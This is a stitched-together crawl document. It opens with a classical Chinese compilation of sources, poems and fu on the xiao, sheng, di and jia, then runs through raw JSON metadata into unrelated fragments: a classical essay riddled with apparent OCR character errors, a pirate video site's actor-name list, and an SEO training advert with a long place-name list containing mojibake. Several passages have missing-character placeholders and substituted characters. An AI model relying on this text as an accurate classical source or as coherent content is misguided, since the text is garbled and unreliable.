世 有 箫 声 云 . 事 具 神 仙 部 .\n汉 书 曰 . 元 帝 多 材 艺 . 吹 洞 箫 . 自 度 曲 . 被 歌 声 .\n又 曰 . 元 帝 为 太 子 . 体 不 安 . 善 忘 不 乐 . 诏 使 王 褒 等 之 太 子 宫 . 读 诵 奇 文 . 太 子 善 褒 洞 箫 颂 . 令 后 宫 读 诵 之 .\n史 记 曰 . 周 勃 常 为 人 吹 箫 . 给 丧 事 .\n蔡 邕 月 令 章 句 曰 . 箫 长 则 浊 . 短 则 清 . 以 密 实 其 底 . 而 增 减 之 . 则 和 管 而 成 音 . 定 无 所 复 调 . 当 与 琴 瑟 相 参 .\n傅 子 曰 . 马 先 生 能 使 木 人 吹 箫 . 比 妙 般 输 墨 翟 . 曰 不 劣 古 矣 .\n段 龟 龙 凉 州 记 曰 . 吕 纂 咸 宁 三 年 . 胡 人 发 张 骏 冢 . 得 玉 箫 .\n丹 阳 记 曰 . 江 宁 县 南 四 十 里 . 慈 母 山 . 积 石 临 江 . 生 箫 管 竹 . 王 褒 洞 箫 赋 所 称 . 即 此 也 . 其 竹 圆 致 . 异 于 众 处 . 自 伶 伦 采 竹 嶰 谷 . 其 后 唯 此 簳 见 珍 . 故 历 代 常 给 乐 府 . 而 俗 呼 曰 鼓 吹 山 .\n浔 阳 记 曰 . 庐 山 西 南 有 康 王 谷 . 又 北 岭 城 . 天 欲 雨 . 辄 闻 鼓 角 箫 笳 之 声 .\n【 诗 】 梁 刘 孝 仪 咏 箫 诗 曰 . 危 声 合 鼓 吹 . 绝 弄 混 笙 篪 . 管 饶 知 气 促 . 叙 动 觉 唇 移 . 仙 史 安 为 贵 . 能 令 秦 女 随 .\n【 赋 】 汉 王 褒 洞 箫 赋 曰 . 原 夫 箫 干 之 所 生 . 出 于 江 南\n之 丘 墟 . 洞 条 畅 以 罕 节 . 摽 敷 纷 以 扶 疏 . 徒 观 其 傍 山 仄\n. 则 岖 嵚 崎 . 戏 阨 绮 靡 . 诚 可 悲 乎 其 不 安 也 . 弥 望 傥\n莽 . 连 延 旷 荡 . 又 足 乐 乎 其 敞 闲 也 . 托 身 躯 于 厚 土 . 经\n万 世 而 不 迁 . 翔 凤 萧 萧 经 其 末 . 回 江 流 水 溉 其 山 . 朝 露\n清 泠 而 陨 其 侧 . 玉 液 浸 润 而 承 其 根 . 孤 雌 寡 鹄 . 娱 优 乎\n其 下 . 春 禽 群 嬉 . 翱 翔 乎 其 巅 . 秋 蜩 不 食 . 抱 朴 而 长 吟\n. 玄 猿 悲 啸 . 搜 索 乎 其 间 . 于 是 般 匠 施 巧 . 夔 襄 准 法 .\n带 以 象 牙 . 掍 其 会 合 . 其 妙 声 则 清 静 厌 ● . 音\n翳 . 顺 叙 卑 迖 . 他 戾 . 若 孝\n子 之 事 父 也 . 科 条 譬 类 . 诚 应 义 理 . 澎 濞 沆 瀣 . 一 何 壮\n士 . 优 柔 温 润 . 又 似 君 子 . 或 留 而 不 行 . 或 行 而 不 留 .\n● 恅 烂 漫 . 亡 耦 失 俦 . 故 知 音 者 悲 而 乐 之 . 不 知 音 者 怪\n而 伟 之 . 故 其 为 悲 声 . 则 莫 不 怆 然 累 欷 . 撇 涕 抆 泪 . 其\n奏 欢 娱 . 则 莫 不 惮 漫 衎 凯 . 阿 那 ● 痿 者 已 . 以 是 蟋 蟀 尺\n蠖 . 跂 行 喘 息 . 鱼 瞰 鸡 睨 . 垂 喙 宛 转 . 瞪 瞢 忘 食 . 况 乎\n感 阴 阳 之 和 . 而 见 风 俗 之 伦 哉 .\n世 本 曰 . 隋 作 笙 也 . 尔 雅 曰 . 大 笙 谓 之 巢 . 小 者 谓 之 和 .\n说 文 曰 . 舜 祠 之 下 . 得 笙 白 玉 管 . 笙 十 三 簧 . 象 凤 之 身 .\n尚 书 曰 . 笙 镛 以 闲 . 鸟 兽 跄 跄 .\n毛 诗 曰 . 笙 磬 同 音 .\n周 官 曰 . 笙 师 掌 教 吹 笙 .\n礼 记 曰 . 女 娲 之 笙 簧 .\n穆 天 子 传 曰 . 西 王 母 吟 曰 . 吹 笙 鼓 簧 . 中 心 翔 翔 .\n尸 子 曰 . 商 容 观 舞 . 墨 子 吹 笙 . 墨 子 非 乐 . 而 于 乐 有 是 也 .\n汉 武 内 传 曰 . 西 王 母 命 侍 女 董 双 成 . 吹 云 和 之 笙 .\n列 仙 传 曰 . 王 子 乔 者 . 周 灵 王 太 子 晋 也 . 好 吹 笙 作 凤 鸣 . 游 伊 雒 闲 . 道 士 浮 丘 公 接 以 上 嵩 山 . 事 具 神 仙 部 .\n魏 志 曰 . 文 帝 令 杜 夔 . 于 宾 客 中 吹 笙 鼓 琴 . 夔 有 难 色 . 遂 黜 免 .\n【 诗 】 梁 陆 罩 咏 笙 诗 曰 . 管 清 罗 袖 拂 . 响 合 绛 唇 吹 . 含 情 应 节 转 . 逸 态 逐 声 移 . 所 美 周 王 子 . 弄 羽 一 参 差 .\n【 赋 】 晋 潘 岳 笙 赋 曰 . 河 汾 之 宝 . 有 曲 沃 之 悬 匏 焉 . 邹 鲁 之 珍 . 有 汶 阳 之 孤 篠 焉 . 若 乃 绵 蔓 纷 敷 之 丽 . 浸 润 灵 液 之 滋 . 固 众 作 者 之 所 详 . 余 可 得 而 略 之 . 徒 观 其 制 器 也 . 则 审 洪 纤 . 面 短 长 . ● 生 簳 . 裁 熟 簧 . 设 宫 分 羽 . 经 征 列 商 . 基 黄 钟 以 举 韵 . 望 仪 凤 以 擢 形 . 写 皇 翼 以 插 羽 . 摹 鸾 音 以 厉 声 . 于 是 乃 有 始 泰 终 约 . 前 荣 后 瘁 . 激 愤 于 今 贱 . 永 怀 乎 故 贵 . 众 满 堂 而 饮 酒 . 独 向 隅 而 掩 泪 . 援 鸣 笙 而 将 吹 . 先 嗢 哕 以 理 气 . 或 案 衍 夷 靡 . 或 竦 踊 剽 急 . 或 既 往 而 不 返 . 或 已 出 而 复 入 . 徘 徊 布 护 . 涣 衍 葺 袭 . 舞 既 蹈 而 中 辍 . 节 将 抚 而 弗 及 . 辍 张 女 之 哀 弹 . 流 广 陵 之 名 散 . 咏 园 桃 之 夭 夭 . 歌 枣 下 之 纂 纂 . 歌 曰 . 枣 下 纂 纂 . 朱 实 离 离 . 宛 其 落 矣 . 化 为 枯 枝 . 人 生 不 能 行 乐 . 何 以 虚 谥 为 . 尔 乃 引 飞 龙 . 鸣 鹍 鸡 . 双 鸿 翔 . 白 鹄 飞 . 子 乔 轻 举 . 明 君 怀 归 . 荆 王 喟 其 长 吟 . 楚 妃 叹 而 增 悲 . 新 声 变 曲 . 奇 韵 横 逸 . 萦 缠 歌 鼓 . 网 罗 钟 律 . 烂 熠 燿 以 放 艳 . 郁 蓬 勃 以 气 出 . 秋 风 咏 于 燕 路 . 天 光 重 乎 朝 日 . 大 不 逾 宫 . 细 不 过 羽 . 唱 发 章 夏 . 导 扬 韶 武 . 协 和 陈 宋 . 混 一 齐 楚 . 延 不 逼 而 远 无 携 . 声 成 文 而 节 有 叙 .\n晋 王 廙 笙 赋 曰 . 其 制 器 也 . 则 取 不 周 之 竹 . 曾 城 之 匏 . 生 悬 崖 之 绝 岭 . 邈 隆 峰 以 崇 高 . 延 脩 颈 以 亢 首 . 厌 瑶 口 之 陆 离 . 舞 灵 蛟 之 素 鳞 . 衔 明 珠 于 带 垂 . 弱 舌 纸 薄 . 铅 锤 内 藏 . 合 松 以 密 际 . 糅 彤 丹 以 发 光 .\n晋 夏 侯 淳 ○ 初 学 记 作 湛 . 笙 赋\n曰 . 嗟 万 物 之 殊 观 . 莫 比 美 乎 音 声 . 总 众 异 以 合 体 . 匪\n求 一 以 取 成 . 虽 琴 瑟 之 既 丽 . 犹 靡 尚 于 清 笙 . 尔 乃 采 桐\n竹 . 翦 朱 密 . 摘 长 松 之 流 肥 . 咸 昆 仑 之 所 出 . 抑 扬 嘘 吸\n. 或 ● 或 吹 . 厌 枯 ○ 初 学 记 作 拈 . 挹\n按 . 同 覆 互 移 . 初 进 飞 龙 . 重 继 鹍 鸡 . 振 引 合 和 . 如 溃\n如 离 . 若 夫 缠 绵 约 杀 . 足 使 放 达 者 循 察 . 通 豫 平 旷 . 足\n使 廉 规 者 弃 节 . 冲 灵 冷 澹 . 足 使 贪 荣 者 退 世 . 开 明 爽 亮\n. 足 使 慢 惰 者 进 竭 . 岂 众 乐 之 能 伦 . 邈 奇 特 而 殊 绝 .\n傅 子 曰 . 列 和 善 吹 笛 . 吴 姬 之 声 . 无 以 加 也 .\n伏 滔 蔡 邕 长 笛 赋 序 曰 . 余 同 僚 桓 子 野 . 有 故 长 笛 赋 . ○ 世 说 轻 诋 篇 注 . 北 堂 书 钞 一 百 十 一 赋 字 无 . 传 之 耆 艾 . 云 蔡 邕 之 所 作 也 . 初 邕 避 难 江 南 . 宿 于 柯 亭 . 柯 亭 之 馆 . 以 竹 为 椽 . 仰 而 眄 之 曰 . 良 竹 也 . 取 以 为 笛 . 奇 声 独 绝 . 历 代 传 之 .\n广 雅 曰 . 籥 谓 之 笛 . 有 七 孔 .\n魏 略 曰 . 游 楚 好 音 乐 . 畜 笛 者 . 每 待 ○ 前 琵 琶 篇 引 三 辅 决 录 作 将 . 以 自 随 .\n世 说 曰 . 王 子 猷 闻 桓 子 野 善 笛 而 不 识 . 遇 桓 于 岸 上 过 . 舡 中 客 有 识 之 者 . 云 此 是 桓 野 王 . 使 令 人 与 相 问 . 闻 君 善 吹 . 试 为 我 一 奏 . 桓 尔 时 已 贵 显 . 素 闻 王 名 . 即 便 回 . 下 车 . 踞 胡 床 . 为 作 三 调 . 弄 毕 便 去 . 客 主 竟 不 交 言 .\n俗 说 曰 . 宋 祎 是 石 崇 妓 绿 珠 弟 子 . 有 国 色 . 善 吹 笛 . 后 在 晋 明 帝 宫 . 帝 疾 患 危 笃 . 群 臣 进 谏 . 请 出 宋 祎 . 时 朝 贤 悉 见 . 帝 曰 . 卿 诸 人 谁 欲 得 者 . 众 人 无 言 . 阮 遥 集 时 为 吏 部 尚 书 . 对 曰 . 愿 以 赐 臣 . 即 与 之 .\n又 曰 . 谢 仁 祖 妾 阿 妃 . 有 国 色 . 甚 善 吹 笛 . 谢 死 . 阿 妃 誓 不 嫁 . 郗 昙 时 为 北 中 郎 . 设 权 计 . 遂 得 阿 妃 为 妾 . 阿 妃 终 身 不 与 昙 言 .\n段 龟 龙 凉 州 记 曰 . 吕 纂 时 . 胡 人 发 张 骏 冢 . 得 玉 笛 .\n续 搜 神 记 曰 . 合 肥 口 有 一 大 白 舡 . 覆 在 水 中 . 云 是 曹 公 白 舡 . 尝 有 渔 人 夜 宿 . 以 舡 系 之 . 闻 筝 笛 弦 节 之 音 . 渔 人 梦 人 驱 遣 . 云 勿 近 官 妓 . 此 人 惊 . 即 移 去 . 相 传 云 . 曹 公 载 妓 舡 覆 于 此 . 犹 存 焉 .\n幽 明 录 曰 . 永 嘉 中 . 太 山 民 巢 氏 . 先 为 相 县 令 . 居 在 晋 陵 . 家 婢 采 薪 . 忽 有 一 人 追 随 婢 还 家 . 不 使 人 见 . 与 婢 宴 饮 . 辄 吹 笛 而 歌 . 歌 云 . 闲 夜 寂 已 清 . 长 笛 亮 且 鸣 . 若 欲 知 我 者 . 姓 郭 字 长 生 .\n【 赋 】 楚 宋 玉 笛 赋 曰 . 余 尝 观 于 衡 山 之 阳 . 见 奇 篠 异 干 . 罕 节 简 枝 之 丛 生 也 . 其 处 旁 塘 千 仞 . 绝 溪 陵 阜 . 隆 崛 万 丈 . 磐 石 双 起 . 丹 水 涌 其 左 . 醴 泉 流 其 右 . 师 旷 将 为 阳 春 北 郑 白 雪 之 曲 . 取 其 雄 焉 . 宋 意 将 送 荆 卿 于 易 水 之 上 . 得 其 雌 焉 . 于 是 天 旋 少 阴 . 白 日 西 靡 . 命 严 春 . 使 午 子 . 延 长 . 奋 玉 手 . 摛 朱 唇 . 曜 皓 齿 . 赪 颜 臻 . 玉 貌 起 . 吟 清 商 . 起 流 征 .\n后 汉 马 融 长 笛 赋 曰 . 融 既 博 览 典 雅 . 精 该 术 数 . 又 性\n好 音 律 . 能 鼓 琴 吹 笛 . 为 督 邮 . 无 留 事 . 独 卧 郿 县 平 阳\n邬 中 . 有 雒 客 舍 逆 旅 . 吹 笛 . 融 去 京 师 逾 年 . 暂 闻 甚 悲\n乐 之 . 作 长 笛 赋 . 其 辞 曰 . 惟 籦 笼 之 奇 生 兮 . 于 终 南 之\n阴 崖 . 托 九 成 之 孤 岑 . 临 万 仞 之 石 溪 . 是 以 闲 介 无 蹊 .\n人 迹 罕 到 . 猿 蜼 昼 吟 . 鼯 鼠 夜 叫 . 于 是 放 臣 逐 子 . 弃 妾\n离 友 . 攒 乎 下 风 . 收 精 注 耳 . 夔 襄 比 律 . 子 野 协 吕 . 十\n二 毕 具 . 黄 钟 为 主 . 详 观 夫 曲 胤 之 繁 会 丛 杂 . 何 其 富 也\n. 纷 葩 烂 熳 . 诚 可 喜 也 . 波 散 广 衍 . 实 可 异 也 . 律 吕 既\n和 . 哀 声 五 降 . 曲 终 阕 尽 . 余 弦 更 兴 . 繁 手 累 发 . 密 擳\n叠 董 . ○ 文 选 十 八 作 重 . 上 拟 法\n于 韶 箾 南 籥 . 中 取 度 于 白 雪 渌 水 . 下 采 制 于 延 露 巴 人 .\n于 时 也 . 绵 驹 吞 声 . 伯 牙 毁 弦 . 瓠 巴 聑 下\n挟 反 . 柱 . 磬 襄 弛 悬 . 近 世 双 笛 从 羌 起 . 羌 人 伐 竹\n未 及 已 . 龙 鸣 水 中 不 见 已 . 截 竹 吹 之 声 相 似 . 易 京 君 明\n识 音 律 . 故 本 四 孔 加 以 一 . 君 明 所 加 孔 后 出 . 是 谓 商 声\n五 音 毕 .\n曹 嘉 之 晋 书 曰 . 刘 畴 曾 避 乱 坞 壁 . 贾 胡 百 数 . 欲 害 之 . 畴 无 惧 色 . 援 笳 而 吹 之 . 为 出 塞 之 声 . 动 其 游 客 之 思 . 于 是 群 胡 皆 倚 泣 而 去 .\n世 说 曰 . 刘 越 石 为 胡 骑 所 围 数 重 . 城 中 窘 迫 无 计 . 刘 始 夕 乘 月 . 登 楼 清 啸 . 胡 贼 闻 之 . 皆 凄 然 长 叹 . 中 夜 次 奏 胡 笳 . 贼 皆 流 涕 . 人 有 怀 土 之 切 . 向 晓 又 吹 . 贼 并 起 围 奔 走 . 或 云 是 刘 道 真 .\n【 赋 】 魏 杜 挚 笳 赋 曰 . 唯 葭 芦 之 为 物 . 谅 洁 劲 之 自 然 . 托 妙 体 于 阿 泽 . 历 百 代 而 不 迁 . 于 是 秋 节 既 至 . 百 物 具 成 . 严 霜 告 杀 . 草 木 殒 零 . 宾 鸟 鼓 翼 . 蟋 蟀 悲 鸣 . 羁 旅 之 士 . 感 时 用 情 . 乃 命 狄 人 . 操 笳 扬 清 . 吹 东 角 . 动 南 征 . 清 羽 发 . 浊 商 起 . 刚 柔 待 用 . 五 音 迭 进 . 倏 尔 却 转 . 忽 焉 前 引 . 或 缊 缊 以 和 怿 . 或 凄 凄 以 燋 杀 . 或 漂 淫 以 轻 浮 . 或 迟 重 以 沉 滞 .\n西 晋 孙 楚 笳 赋 曰 . 衔 长 葭 以 泛 吹 . 噭 啾 啾 之 哀 声 . 奏 胡 马 之 悲 思 . 咏 北 狄 之 遐 征 . 顺 谷 风 以 抚 节 . 飘 响 乎 天 庭 . 徐 疾 从 宜 . 音 引 代 起 . 叩 角 动 商 . 鸣 羽 发 征 . 若 夫 广 陵 散 吟 . 三 节 白 纻 . 太 山 长 曲 . 哀 及 梁 父 . 似 鸿 雁 之 将 鶵 . 乃 群 翔 于 河 渚 .\n晋 夏 侯 湛 夜 听 笳 赋 曰 . 越 鸟 恋 乎 南 枝 . 胡 马 怀 夫 朔 风\n. 惟 人 情 之 有 思 . 乃 否 滞 而 发 中 . 南 闾 兮 拊 掌 . 北 阎 兮\n鸣 笳 . 鸣 笳 兮 协 节 . 分 唱 兮 相 和 . 相 和 兮 哀 谐 . 惨 激 畅\n兮 清 哀 . 奏 烽 燧 之 初 惊 . 展 从 繇 之 叹 乖 . 伸 弃 兮 更 缠 .\n迁 调 兮 故 韵 . 披 凉 州 之 妙 参 . ● 飞 龙 之 奇 引 . 垂 幽 兰 之\n游 响 . 来 楚 妃 之 绝 叹 . 放 鹍 鸡 之 弄 音 . 散 白 雪 之 清 变 .","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.chinapage.com\/gb\/literature\/ywgl007.htm","date":"2014-10-21T11:57:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1413507444385.33\/warc\/CC-MAIN-20141017005724-00186-ip-10-16-133-185.ec2.internal.warc.gz","language":"lzh","language_score":0.97188133,"language_script":"Hani","minhash_cluster_size":26,"top_langs":"{\"lzh_Hani_score\": 0.9718813300132751, \"nan_Hani_score\": 0.014777109958231449, \"cmn_Hani_score\": 0.013352598063647747}","num_words":65297,"character_repetition_ratio":0.015,"word_repetition_ratio":0.003,"special_characters_ratio":0.588,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.966,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"抱孤心者无以建其孤鸣,故人可舆忘言、而不可舆言也。霎以明其然邪,夫人上而有亲,中而有身,下而有其妻子,能疾抑其情而末之恤乎,日不能也。上而有视,将以孝也;中而有身,将以慎也;下而有其妻子,将以成乎保家室之令名也;能谓其周旋籁恤之非道乎,日不能也。上达其亲以事君、而忠不见庸,中捐其身以立功、而绩无可效,下忘其妻子以恤天下、而天下不听;能使之蜀藩以困、而不废然返乎,日不能也。履此三不能之势、而舆天下争可否,岂曰匪舌是出,虽出其舌,块肉而已矣。若夫可舆言者,则必不待言也。故日一不可舆言而可舆忘言一也。虽雎然,岂以其孤嚼之不伸,而可谓无孤心也哉,同岂燕情,情自喻也。蚩繁无道,道生心也。岂繁无成,毁焉而有其全,亡焉而有其存,舆腐草荒烟减以无馀,而有其舆日月争光者焉。相舆言者不能喻,相舆忘言者喻之也。\n喝呼,抱孤心而得忘言之和者题矣。伯夷不得之於姬吕,陶滔不得之於雷周,矧夫谢翱郑思肖之横落者乎,雎然,苟其有孤心,雎先舆忘言者可也。\n三一\n不善有自稹也,非必疾弃其君视而乐捐其廉驰也。虽亦当有所不避,一孔棘且殆,亦其果无所容也。私亦当有所不恤,予未有室家,前此所为,固不为室家管也。安其身而後勤,定其交而後求,抑壹非敬身之道哉,然而君子甚疾夫有道之可广种遽就之也。琵於遭以属名,避难恤私以腐黉。避鸡恤私以为名,而醉鲍柔曼、寸丝粒米之保以篇寅。","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.tejiawang.com\/newweb\/product.aspx?pid=6157","date":"2017-02-24T01:35:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171271.48\/warc\/CC-MAIN-20170219104611-00126-ip-10-171-10-108.ec2.internal.warc.gz","language":"lzh","language_score":0.4540027976,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4540027976036072, \"cmn_Hani_score\": 0.404771089553833, \"nan_Hani_score\": 0.05077315866947174, \"wuu_Hani_score\": 0.021897083148360252, \"zxx_Latn_score\": 0.014902349561452866, \"jpn_Jpan_score\": 0.011505906470119953}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":0.571,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"loading...\n朱凱婷 宋熙年 容羨媛 梁麗翹 陳倩揚 麥雅緻 黎芷珊 謝霆鋒 王祖藍 梁榮忠 古天樂 鄧萃雯 蔡一智 蔡一傑 蘇志威 鄭秀文 朱智賢 陳貝兒 林映輝 陳庭欣 姚婷芝 吳幸美 遊莨維 林泳淘 利穎怡 阮嘉敏 王殷廷 陳約臨\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n朱凱婷 宋熙年 容羨媛 梁麗翹 陳倩揚\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%AE%B9%E7%BE%A8%E5%AA%9B------------.html","date":"2020-09-28T15:53:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401601278.97\/warc\/CC-MAIN-20200928135709-20200928165709-00660.warc.gz","language":"lzh","language_score":0.5127562284,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5127562284469604, \"cmn_Hani_score\": 0.3885466754436493, \"nan_Hani_score\": 0.08658313006162643, \"yue_Hani_score\": 0.010942223481833935}","num_words":140,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.596,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"歡迎訪問河北創客情創業服務有限公司網站!\n培訓課程:\n1、網站基本建設:電腦網站,響應式手機網站,網站內容更新,15天全部學會。\n2、網站SEO優化:學習推廣站點、工具、軟件,能夠迅速提升網站排名。\n3、信息編輯技巧:產品信息,制作圖片、軟文,博客,論壇,郵件,FAQ,想不火都難。\n4、全網霸屏式推廣:百度、搜狗、360、UC、神馬等各大搜索引擎首頁收錄,關鍵詞排名效果,訂單電話增多。\n5、自媒體營銷推廣:如何撰寫、包裝企業和產品,實現口碑營銷,達到精準目標客戶閱讀百萬次的效果\n6、微信朋友圈營銷:如何打造千萬級別,企業微信朋友圈激刺激客購買產品及其服務,完成交易。\n7、堅持就是勝利:持續推廣,變換求新,擴大營銷,更新策略(完美結合)\n學員對象基本條件:\n1、會用手機打字,熟練電腦操作鍵,會上網。\n2、熟悉百度、搜狗、360等相關的網站\n3、甘守寂寞,能吃苦,愛學習,想通過互聯網創業成功的朋友。\n衢州、舟山、臺州、麗水 福州、廈門、三明、莆田、泉州、漳州、南平、龍巖、寧德 廣州、深圳、珠海、汕頭、韶關、惠州、河源、梅州、汕尾、東莞、中山、江門、佛山、陽江、湛江、茂名、肇慶、清遠、潮州、揭陽、云浮,???、三亞,貴陽、六盤水、遵義、安順、銅仁、畢節、黔西南布依族苗族自治州、黔東南南,苗族侗族自治州、黔南布依族苗族自治州,昆明、玉溪、保山、昭通、思茅、臨滄、麗江,成都、自貢、攀枝花、瀘州、德陽、綿陽、廣元、遂寧、內江、樂山、南充、宜賓、廣安、達州、眉山、雅安、巴中、資陽、長沙、株洲、湘潭、衡陽、邵陽、岳陽、常德、張家界、益陽、郴州、永州、懷化、婁底、湘西土家族苗族自治州,武漢、黃石、襄樊、十堰、荊州、宜昌、荊門、鄂州、孝感,黃岡、咸寧、隨州、恩施土家族苗族自治州、仙桃、天門、潛江、神農架林區,西安、銅川、寶雞、咸陽、渭南、延安、漢中、榆林、安康、商洛,蘭州、金昌、白銀、天水、嘉峪關、武威、張掖、平涼、酒泉、慶陽、定西、隴南、甘南藏族自治州、臨夏回族自治州,西寧、海東、海北藏族自治州、黃南藏族自治州、海南藏族自治州、果洛藏族自治州、玉樹藏族自治州、海西蒙古族藏族自治州,呼和浩特、包頭、烏海、赤峰、鄂爾多斯、呼倫貝爾、烏蘭察布盟、錫林郭勒盟、巴彥淖爾盟、興安盟,拉薩、昌都、山南、日喀則、阿里、林芝,烏魯木齊、克拉瑪依、吐魯番、哈密、和田、喀什、克孜勒蘇柯爾克孜自治州、巴音郭楞州、昌吉州、博爾塔拉州、伊犁哈薩克自治州、塔城地區、石河子、阿拉爾、圖木舒克、五家渠,南寧、柳州、桂林、網絡營銷培訓 梧州、北海、防城港、欽州、貴港、玉林、百色、賀州、河池、來賓、崇左,銀川、石嘴山、吳忠、固原,北京,天津 ,石家莊,辛集, 藁城, 晉州, 新樂, 鹿泉,唐山,遵化,遷安,秦皇島,邯鄲,武安,邢臺,南宮, 沙河,保定,涿州,定州,安國,高碑店,張家口,承德,滄州,泊頭,任丘,黃驊市,河間,廊坊,霸州,三河,衡水,冀州,深州,太原,古交,大同,陽泉,長治,潞城,晉城,高平,朔州,晉中,介休,運城,永濟,河津,忻州,原平,臨汾,霍州,呂梁,孝義,汾陽,霍林郭勒,滿洲里,牙克石,扎蘭屯,額爾古納,根河,阿拉善盟,沈陽,新民,大連,瓦房店,普蘭店,莊河,鞍山,海城,撫順,本溪,丹東,東港,鳳城,錦州,凌海市,北寧,營口,蓋州,大石橋,阜新,遼陽,燈塔,盤錦,鐵嶺,兵山,開原,朝陽,北票,凌源,長春,九臺,榆樹,吉林,蛟河,樺甸,舒蘭,磐石,四平,公主嶺,雙遼,遼源,通化,梅河口,集安,白山,臨江,松原,白城,洮南,大安,延吉,圖們,敦化,琿春,龍井,龍市,哈爾濱,阿城,雙城,尚志,五常,齊齊哈爾,訥河市,雞西,虎林,密山,鶴崗,雙鴨山,大慶,伊春,鐵力,佳木斯,同江,富錦,七臺河,牡丹江,綏芬河,海林,寧安,穆棱,黑河,北安,五大連池,綏化,安達,肇東,海倫,大興安嶺,上海,南京,無錫,江陰,宜興,徐州,新沂,邳州,常州,溧陽,金壇,蘇州,張家港,昆山,吳江,太倉,常熟,南通,東如皋,通州,海門,連云港,淮安,鹽城,大豐,揚州,儀征,高郵,江都,鎮江,丹陽,揚中,句容,泰州,靖江,泰興,姜堰,宿遷,杭州,建德, 富陽,臨安,寧波,余姚,慈溪,奉化,溫州,瑞安,樂清,嘉興,海寧,平湖,桐鄉,湖州,紹興,諸暨 上虞,嵊州,金華,義烏,東陽,永康,江山,溫嶺,臨海,龍泉,合肥,蕪湖,蚌埠,淮南,馬鞍山,淮北,銅陵,安慶,桐城,黃山,滁州,天長,明光,阜陽,界首,宿州,巢湖,六安,亳州,池州,宣城,寧國,福清,長樂,莆田,永安,石獅,晉江,南安,龍海,邵武,武夷山,建甌,建陽,漳平,寧德,福鼎,南昌,景德鎮,萍鄉,九江,瑞昌,新余,鷹潭,貴溪,贛州,瑞金,南康,吉安,井岡山,宜春,豐城,樟樹,高安,撫州,上饒,德興,濟南,章丘,青島,膠州,即墨,平度,膠南,萊西,淄博,棗莊,滕州,東營,煙臺,龍口,萊陽,萊州,蓬萊,招遠,棲霞,海陽,濰坊,諸城,壽光,安丘,高密,昌邑,濟寧,曲阜,兗州,鄒城,泰安,新泰,肥城,威海,文登,榮成,乳山,日照,萊蕪,臨沂,德州,樂陵,禹城,聊城,濱州,荷澤\n北京 和平 河東 河西 南開 河北 紅橋 塘沽 漢沽 大港 東麗 西青 北辰 津南 武清 寶坻 靜?!幒印∷E縣 辛集 藁城 晉州 新樂 鹿泉 平山 井陘 欒城 正定 行唐 靈壽 高邑 趙縣 贊皇 深澤 無極 元氏 唐山 遵化 遷安 遷西 灤南 玉田 唐?!吠ぁ纯h 昌黎 盧龍 撫寧 邯鄲 武安 邯鄲 永年 曲周 館陶 魏縣 成安 大名 涉縣 雞澤 邱縣 廣平 肥鄉 臨漳 磁縣 邢臺 南宮 沙河 邢臺 柏鄉 任縣 清河 寧晉 威縣 隆堯 臨城 廣宗 臨西 內丘 平鄉 巨鹿 新河 南和 保定 涿州 定州 安國 滿城 清苑 淶水 阜平 徐水 定興 唐縣 高陽 容城 淶源 望都 安新 易縣 曲陽 蠡縣 順平 博野 雄縣 宣化 康?!埍薄£栐〕喑?nbsp;沽源 懷安 懷來 崇禮 尚義 蔚縣 涿鹿 萬全 承德 承德 興隆 隆化 平泉 灤平 滄州 泊頭 任丘 黃驊 河間 滄縣 青縣 獻縣 東光 海興 鹽山 肅寧 南皮 吳橋 廊坊 霸州 三河 固安 永清 香河 大城 文安 衡水 冀州 深州 饒陽 棗強 故城 阜城 安平 武邑 景縣 武強 石家莊 張家口 高碑店 秦皇島 大廠 青龍 豐寧 寬城 孟村 圍場 山西 太原 古交 陽曲 清徐 婁煩 大同 大同 天鎮 靈丘 陽高 左云 廣靈 渾源 陽泉 平定 盂縣 長治 潞城 長治 長子 平順 襄垣 沁源 屯留 黎城 武鄉 沁縣 壺關 晉城 高平 澤州 陵川 陽城 沁水 朔州 山陰 右玉 應縣 懷仁 晉中 介休 昔陽 靈石 祁縣 左權 壽陽 太谷 和順 平遙 榆社 運城 河津 永濟 聞喜 新絳 